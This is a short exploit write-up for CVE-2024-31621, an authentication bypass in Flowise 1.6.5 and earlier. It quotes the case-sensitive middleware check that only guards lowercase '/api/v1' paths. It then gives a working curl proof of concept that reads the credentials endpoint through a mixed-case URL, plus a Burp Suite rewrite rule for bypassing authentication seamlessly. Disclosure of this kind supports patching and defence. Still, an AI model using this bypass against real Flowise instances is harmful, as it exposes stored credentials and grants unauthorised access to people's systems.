# Exploit Title: Flowise 1.6.5 - Authentication Bypass
# Date: 17-April-2024
# Exploit Author: Maerifat Majeed
# Vendor Homepage: https://flowiseai.com/

# Version: 1.6.5
# Tested on: mac-os
# CVE : CVE-2024-31621
The flowise version <= 1.6.5 is vulnerable to authentication bypass
vulnerability.
The code snippet
this.app.use((req, res, next) => {
> if (req.url.includes('/api/v1/')) {
> whitelistURLs.some((url) => req.url.includes(url)) ?
> next() : basicAuthMiddleware(req, res, next)
> } else next()
> })
puts authentication middleware for all the endpoints with path /api/v1
except a few whitelisted endpoints. But the code does check for the case
sensitivity hence only checks for lowercase /api/v1 . Anyone modifying the
endpoints to uppercase like /API/V1 can bypass the authentication.
*POC:*
curl http://localhost:3000/Api/v1/credentials
For seamless authentication bypass. Use burpsuite feature Match and replace
rules in proxy settings. Add rule Request first line api/v1 ==> API/V1
